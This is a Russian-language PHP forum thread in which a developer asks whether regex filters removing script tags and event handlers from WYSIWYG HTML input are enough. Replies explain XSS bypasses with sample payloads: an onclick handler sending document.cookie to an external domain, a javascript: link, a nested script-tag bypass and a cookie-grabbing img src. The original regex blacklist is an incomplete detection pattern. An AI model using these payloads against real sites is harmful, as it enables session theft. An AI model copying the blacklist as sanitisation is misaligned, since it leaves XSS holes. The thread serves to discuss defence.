На странице есть WYSIWYG Editor, мне нужно удалить все скрипты при получения текста из него.
Делаю такую фильтрацию:
$info = preg_replace("#<script(.+?)/script>#is",'',$info);
$info = preg_replace("#(href|src)=([\"|\']{0,1})(\s*)javascript:(.+?)\\2#is",'',$info);
$info = preg_replace("#(onclick|onmouseover|onmouseout|onmousedown|onmouseup|onselect|onfocus|onblur|onload|onkeydown|onkeyup|ondblclick|onunload|onmouseup|onsubmit)=([\"|\']{0,1})(.+?)\\2#is",'',$info);
Достаточно ли этого?
Спустя 1 минута, 57 секунд (26.08.2010 - 08:37) Basili4 написал(а):
Romms
даже более чем много.
htmlspecialchars() за глаза хватит
даже более чем много.
htmlspecialchars() за глаза хватит
Спустя 4 минуты, 6 секунд (26.08.2010 - 08:41) Romms написал(а):
Basili4
Цитата |
WYSIWYG Editor, |
htmlspecialchars() не пойдёт... я принимаю HTML код, и мне нужно убрать все скрипты
Спустя 8 минут, 6 секунд (26.08.2010 - 08:49) Basili4 написал(а):
тогда регуляркой удаляй все между <script и script> включая их
Спустя 5 минут, 31 секунда (26.08.2010 - 08:54) twin написал(а):
Romms
Цитата |
Достаточно ли этого? |
Абсолютно недостаточно. Скрипт можно легко прописать в любой тег. Я сто раз бы задумался, прежде чем давать юзеру визивиг.
Спустя 28 минут, 27 секунд (26.08.2010 - 09:23) Romms написал(а):
twin,
Цитата |
Скрипт можно легко прописать в любой тег |
А собственно каким способом?
Цитата |
Я сто раз бы задумался, прежде чем давать юзеру визивиг. |
Сайт пишу почти для полных нубов)) Ну и с ББкодами им тяжело будет...
Та и этот редактор для админа, так что риск немного уменшается
Спустя 3 минуты, 53 секунды (26.08.2010 - 09:27) Basili4 написал(а):
Цитата (Romms @ 26.08.2010 - 10:23) |
Сайт пишу почти для полных нубов |
на сайт кроме целевойй аудитории могут заглянуть вандалы школьники у которых ума своего нет но зато эскплоитов разныйх вагон и мальнькая тележка
Спустя 1 минута, 45 секунд (26.08.2010 - 09:28) Romms написал(а):
Basili4, согласен, но не в этом вопрос)
VBS, например, на сколько я знаю можно вставлять только в тег "скрипт" и то его исполняет только Ишак. Ну так как в VBScript`е я почти полный 0, то и спрашиваю как защититься от него и иных скриптов.
VBS, например, на сколько я знаю можно вставлять только в тег "скрипт" и то его исполняет только Ишак. Ну так как в VBScript`е я почти полный 0, то и спрашиваю как защититься от него и иных скриптов.
Спустя 1 час, 40 минут, 50 секунд (26.08.2010 - 11:09) Romms написал(а):
ну то как? Для моей задачи єтот код идеальный?!
Спустя 23 минуты, 9 секунд (26.08.2010 - 11:32) twin написал(а):
Идеальный, так вставляй. Чего спрашиваешь?
Я вот так не считаю. Давать юзеру прямой доступ к HTML - серьёзный шаг. Нужно очень хорошо представлять себе последствия.
Вот допустим ты знаешь, что у осла есть такое событие, как "onchangefiltr"? Хотя я и простого "onchange" в твоем коде не нашел... Мож плохо искал.
И вообще столько можно напридумывать. Допустим ссылку запостить на JS а там ни событий, ни тега <script>. Я уже про фреймы не говорю... Да куча всего. Лакомый кусочек для кулхацкера.
Я вот так не считаю. Давать юзеру прямой доступ к HTML - серьёзный шаг. Нужно очень хорошо представлять себе последствия.
Вот допустим ты знаешь, что у осла есть такое событие, как "onchangefiltr"? Хотя я и простого "onchange" в твоем коде не нашел... Мож плохо искал.
И вообще столько можно напридумывать. Допустим ссылку запостить на JS а там ни событий, ни тега <script>. Я уже про фреймы не говорю... Да куча всего. Лакомый кусочек для кулхацкера.
Спустя 39 минут, 44 секунды (26.08.2010 - 12:12) Romms написал(а):
Цитата (twin @ 26.08.2010 - 10:32) |
Хотя я и простого "onchange" в твоем коде не нашел... Мож плохо искал. |
Опа) Пропустил Сейчас добавлю)
Ну, iFrame я "удаляю"
А вот про onchangefiltr неслыхал, да и про многие события в IE
Планирую "резать" и такие события
http://program.rin.ru/cgi-bin/print.pl?id=1015&p=3#ref4124
Спустя 1 минута, 44 секунды (26.08.2010 - 12:14) SlavaFr написал(а):
Цитата (Romms @ 26.08.2010 - 06:23) | ||
twin,
А собственно каким способом? |
<div onclick="document.location.href='ukradenyj_sezon.ri/selzon.php?'+document.cookie">катастрофа</div>
или другой евент.
крометого
<a haref="javascript:....
Спустя 5 минут, 21 секунда (26.08.2010 - 12:19) Rivalryzerg написал(а):
Romms, определите четкий список кнопок в визивиг-редакторе. Допустим вот минимальный набор: жирный, наклонный, подчеркнутый.
После того, как пользователь жмет кнопку "сохранить" и текст приходит к вам post запросом, нужно обработать текст и удалить из его все недозволенное. Это легко сделать тк список разрешенных тегов у вас известен, допустимые атрибуты известны.
Давно давно вот тут использовал этот подход
http://slovari21.ru/community/add_topic
После того, как пользователь жмет кнопку "сохранить" и текст приходит к вам post запросом, нужно обработать текст и удалить из его все недозволенное. Это легко сделать тк список разрешенных тегов у вас известен, допустимые атрибуты известны.
Давно давно вот тут использовал этот подход
http://slovari21.ru/community/add_topic
Спустя 17 минут, 31 секунда (26.08.2010 - 12:37) Romms написал(а):
Цитата |
http://slovari21.ru/community/add_topic |
быто....
Спустя 58 минут, 7 секунд (26.08.2010 - 13:35) Nikitian написал(а):
Составьте список допустимых тегов, к каждому список допустимых параметров. Всё остальное режьте - так от инлайнов убережётесь.
Да, и после вырезания проходите ещё раз по результату своей резалкой, т.к. можно написать примерно так:
Да, и после вырезания проходите ещё раз по результату своей резалкой, т.к. можно написать примерно так:
<scri<script>pt>
Спустя 3 дня, 7 минут, 25 секунд (29.08.2010 - 13:42) vagrand написал(а):
Romms
Ничего из Вашей затеи не выйдет. Не сумеете вы себя защитить, т.к. JS код это далеко не главная ваша проблема будет, а главной проблемой будет что-то вроде такого:
При том что и расширение файла в урле тож можно сменить на JPG например, а уж этот скриптец украдет куку пользователя как нечего делать.
Так что бросьте Вы это дело и замените WYSIWYG на BBCode редактор.
Ничего из Вашей затеи не выйдет. Не сумеете вы себя защитить, т.к. JS код это далеко не главная ваша проблема будет, а главной проблемой будет что-то вроде такого:
<img src='http://domain.com/get_cookie.php'>
При том что и расширение файла в урле тож можно сменить на JPG например, а уж этот скриптец украдет куку пользователя как нечего делать.
Так что бросьте Вы это дело и замените WYSIWYG на BBCode редактор.
Спустя 3 минуты, 1 секунда (29.08.2010 - 13:45) Nikitian написал(а):
vagrand
Такой скрипт куку не украдёт, если будет располагаться не на domain.com. Скрипт не может видеть куки с чужого домена. Такая конструкция может только нагадить чем-нибудь типа бесконечного alert(). Поэтому я приверженец разрешениея публикации файлов только с фотохостингов.
Подумал, может ли скрипт с левого домена сделать редирект не своей области, а открывшей страницы через parent?
Такой скрипт куку не украдёт, если будет располагаться не на domain.com. Скрипт не может видеть куки с чужого домена. Такая конструкция может только нагадить чем-нибудь типа бесконечного alert(). Поэтому я приверженец разрешениея публикации файлов только с фотохостингов.
Подумал, может ли скрипт с левого домена сделать редирект не своей области, а открывшей страницы через parent?
Спустя 1 минута, 43 секунды (29.08.2010 - 13:47) Rivalryzerg написал(а):
vagrand,
и в чем проблема того, что ссылка на картинку будет кривая и картинка попросту не будет отображаться?
Nikitian, нагадить тоже не сможет. Максимум - картинка не отобразится
и в чем проблема того, что ссылка на картинку будет кривая и картинка попросту не будет отображаться?
Nikitian, нагадить тоже не сможет. Максимум - картинка не отобразится